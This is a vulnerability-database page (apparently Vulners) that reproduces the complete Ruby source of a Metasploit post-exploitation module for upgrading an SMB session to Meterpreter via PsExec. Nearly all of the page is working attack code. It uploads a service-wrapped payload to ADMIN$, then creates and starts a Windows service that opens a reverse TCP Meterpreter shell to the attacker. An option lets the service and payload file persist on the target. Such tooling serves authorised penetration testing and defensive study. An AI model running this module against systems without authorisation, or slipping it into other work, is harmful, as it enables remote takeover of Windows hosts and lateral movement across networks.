Lucene search
K

SMB to Meterpreter Upgrade via PsExec

🗓️ 25 Jun 2026 19:05:15Reported by Dean WelchType 
metasploit
 metasploit
🔗 www.rapid7.com👁 153 Views

Upgrades an SMB session to Meterpreter by uploading a service payload to ADMIN$ and starting a service.

Code
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Exploit::EXE
  include Msf::Auxiliary::Report
  include Msf::Post::SessionUpgrade

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SMB to Meterpreter Upgrade via PsExec',
        'Description' => %q{
          Upgrades an authenticated SMB session to a Meterpreter session using PsExec techniques.
          This module uploads a service-wrapped executable payload to the ADMIN$ share via the
          existing authenticated SMB connection, then creates and starts a Windows service that
          executes the payload. This mirrors the approach used by exploit/windows/smb/psexec.
          Requires administrative privileges on the target.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Dean Welch'],
        'Platform' => ['win'],
        'Arch' => [ARCH_X86, ARCH_X64],
        'SessionTypes' => ['smb'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptEnum.new('TARGET_ARCH', [true, 'Target architecture.', 'x64', ['x86', 'x64']])
      ]
    )

    register_advanced_options(
      [
        OptString.new('PAYLOAD_OVERRIDE', [false, 'Define the payload to use instead of the auto-selected meterpreter payload.']),
        OptString.new('SERVICE_NAME', [false, 'Custom service name (random if not set).']),
        OptString.new('SERVICE_DISPLAY_NAME', [false, 'Custom service display name.']),
        OptBool.new('SERVICE_PERSIST', [false, 'Do not delete the service after execution.', false]),
        OptString.new('SERVICE_FILENAME', [false, 'Filename for the uploaded payload (random if not set).'])
      ]
    )
  end

  def run
    return unless validate_session!

    datastore['PAYLOAD'] = datastore['PAYLOAD_OVERRIDE'].presence || select_payload
    run_upgrade
  end

  # Verifies the session can access ADMIN$ and bind to the SVCCTL pipe.
  def check
    return Exploit::CheckCode::Safe('Session is not valid') unless validate_session!

    target_host = session.client.dispatcher.tcp_socket.peerhost
    simple = session.simple_client

    # Verify ADMIN$ is writable
    share = admin_share_path(target_host)
    begin
      simple.connect(share)
      simple.disconnect(share)
    rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error => e
      return Exploit::CheckCode::Safe("Cannot access ADMIN$ share: #{e}")
    end

    # Verify SVCCTL pipe is accessible
    begin
      tree = session.client.tree_connect("\\\\#{target_host}\\IPC$")
      svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
      svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
      scm_handle = svcctl.open_sc_manager_w(target_host)
      svcctl.close_service_handle(scm_handle)
      Exploit::CheckCode::Appears('ADMIN$ is writable and SVCCTL pipe is accessible')
    rescue RubySMB::Dcerpc::Error::SvcctlError => e
      if e.message.include?('ERROR_ACCESS_DENIED')
        Exploit::CheckCode::Safe('Insufficient privileges to open Service Control Manager')
      else
        Exploit::CheckCode::Unknown("SVCCTL error: #{e}")
      end
    rescue RubySMB::Dcerpc::Error::BindError,
           RubySMB::Dcerpc::Error::FaultError,
           RubySMB::Dcerpc::Error::DcerpcError,
           RubySMB::Error::RubySMBError => e
      Exploit::CheckCode::Unknown("Cannot bind to SVCCTL pipe: #{e}")
    ensure
      tree.disconnect! if tree
    end
  end

  # Uploads a service EXE to ADMIN$ and creates a Windows service to execute it.
  def execute_upgrade(lhost)
    target_host = session.client.dispatcher.tcp_socket.peerhost
    simple = session.simple_client
    @service_filename = datastore['SERVICE_FILENAME'] || "#{Rex::Text.rand_text_alpha(8)}.exe"
    @target_host = target_host
    @simple = simple

    upload_payload_exe(simple, target_host, lhost)
    execute_service_via_svcctl(target_host)
  end

  private

  # Generates the service-wrapped EXE and writes it to \\target\ADMIN$\<filename>.
  def upload_payload_exe(simple, target_host, lhost)
    payload_data = generate_upgrade_payload(lhost, datastore['LPORT'], datastore['PAYLOAD'])
    if payload_data.nil?
      fail_with(Msf::Exploit::Failure::BadConfig, "Failed to generate payload #{datastore['PAYLOAD']}")
    end

    arch = datastore['TARGET_ARCH'] == 'x64' ? [ARCH_X64] : [ARCH_X86]
    opts = { code: payload_data, arch: arch, servicename: service_name }
    exe = Msf::Util::EXE.to_executable_fmt(framework, arch.first, 'win', payload_data, 'exe-service', opts)

    if exe.nil? || exe.empty?
      fail_with(Msf::Exploit::Failure::Unknown, 'Failed to generate service EXE payload')
    end

    share = admin_share_path(target_host)
    begin
      simple.connect(share)
    rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error => e
      fail_with(Msf::Exploit::Failure::Unreachable, "Failed to connect to ADMIN$ share: #{e}")
    end

    begin
      fd = simple.open("\\#{@service_filename}", 'rwct', 48000, read: true, write: true)
      fd << exe
      fd.close
      print_status("Uploaded payload to #{share}\\#{@service_filename}")
    rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error => e
      fail_with(Msf::Exploit::Failure::Unknown, "Failed to upload payload: #{e}")
    ensure
      simple.disconnect(share)
    end
  end

  # Connects to IPC$ via SVCCTL, creates a service pointing at the uploaded EXE, and starts it.
  def execute_service_via_svcctl(target_host)
    svc_handle = nil
    svcctl = nil
    scm_handle = nil

    begin
      tree = session.client.tree_connect("\\\\#{target_host}\\IPC$")
    rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error => e
      print_error("Failed to connect to IPC$ share: #{e}")
      return
    end

    begin
      svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
      svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
      vprint_status('Bound to \\svcctl')
    rescue RubySMB::Dcerpc::Error::BindError,
           RubySMB::Dcerpc::Error::FaultError,
           RubySMB::Dcerpc::Error::DcerpcError,
           RubySMB::Error::RubySMBError => e
      print_error("Failed to bind to SVCCTL pipe: #{e}")
      return
    end

    begin
      scm_handle = svcctl.open_sc_manager_w(target_host)
    rescue RubySMB::Dcerpc::Error::SvcctlError => e
      if e.message.include?('ERROR_ACCESS_DENIED')
        print_error('Insufficient privileges to open Service Control Manager. Administrative access is required.')
      else
        print_error("Failed to open Service Control Manager: #{e}")
      end
      return
    end

    display_name = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(rand(8..16))
    # Service binary path points to the uploaded EXE in %SYSTEMROOT%
    bin_path = "%SYSTEMROOT%\\#{@service_filename}"

    begin
      vprint_status("Creating service #{service_name}...")
      svc_handle = svcctl.create_service_w(scm_handle, service_name, display_name, bin_path)
    rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Dcerpc::Error::FaultError => e
      print_error("Failed to create service: #{e}")
      return
    end

    begin
      vprint_status('Starting the service...')
      svcctl.start_service_w(svc_handle)
      print_good('Service started successfully')
    rescue RubySMB::Dcerpc::Error::SvcctlError => e
      # Timeout is expected — the service EXE spawns the payload then exits
      if e.message.include?('ERROR_SERVICE_REQUEST_TIMEOUT')
        vprint_status('Service start timed out, expected for payload execution')
      else
        print_error("Failed to start service: #{e}")
      end
    end
  ensure
    cleanup_service(svcctl, svc_handle, service_name) if svc_handle && svcctl
    begin
      svcctl&.close_service_handle(scm_handle) if scm_handle
    rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Error::RubySMBError
      vprint_warning("Could not close scm handle: #{e}")
    end
    cleanup_payload_file
  end

  # Removes the uploaded EXE from ADMIN$ unless SERVICE_PERSIST is set.
  def cleanup_payload_file
    return if datastore['SERVICE_PERSIST']
    return if @service_filename.nil? || @simple.nil? || @target_host.nil?

    share = admin_share_path(@target_host)
    begin
      @simple.connect(share)
      @simple.delete("\\#{@service_filename}")
      vprint_good("Deleted #{share}\\#{@service_filename}")
    rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error => e
      print_warning("Could not delete #{@service_filename} from ADMIN$. Manual removal may be required: #{e}")
    ensure
      begin
        @simple.disconnect(share)
      rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error
        nil
      end
    end
  end

  # Returns the service name, generating a random one if not configured.
  def service_name
    @service_name ||= datastore['SERVICE_NAME'].presence || Rex::Text.rand_text_alpha(rand(8..16))
  end

  # Returns the UNC path to the ADMIN$ share on the target.
  def admin_share_path(host)
    "\\\\#{host}\\ADMIN$"
  end

  # Selects the appropriate Meterpreter payload based on target architecture.
  def select_payload
    case datastore['TARGET_ARCH']
    when 'x64'
      'windows/x64/meterpreter/reverse_tcp'
    when 'x86'
      'windows/meterpreter/reverse_tcp'
    end
  end

  # Stops and deletes a Windows service created during execution.
  def cleanup_service(svcctl, svc_handle, svc_name)
    return if svcctl.nil? || svc_handle.nil?

    if datastore['SERVICE_PERSIST']
      vprint_status("SERVICE_PERSIST is set, skipping service deletion for '#{svc_name}'")
      begin
        svcctl.close_service_handle(svc_handle)
      rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Error::RubySMBError => e
        vprint_warning("Could not close service handle: #{e}")
      end
      return
    end

    begin
      svcctl.control_service(svc_handle, RubySMB::Dcerpc::Svcctl::SERVICE_CONTROL_STOP)
    rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Error::RubySMBError => e
      vprint_warning("Could not stop service '#{svc_name}': #{e}")
    end

    begin
      svcctl.delete_service(svc_handle)
      vprint_good("Service '#{svc_name}' deleted successfully")
    rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Error::RubySMBError => e
      print_warning("Could not delete service '#{svc_name}'. Manual removal may be required: #{e}")
    end

    begin
      svcctl.close_service_handle(svc_handle)
    rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Error::RubySMBError => e
      vprint_warning("Could not close service handle: #{e}")
    end
  end

  # Returns true if session is valid, false otherwise.
  def validate_session!
    begin
      session.client.dispatcher.tcp_socket.peerinfo
    rescue Errno::ENOTCONN, IOError, Rex::ConnectionError => e
      print_error("Session is not usable: #{e.message}")
      return false
    end

    unless session.type == 'smb'
      print_error("Invalid session type: #{session.type}. This module requires an SMB session.")
      return false
    end

    true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation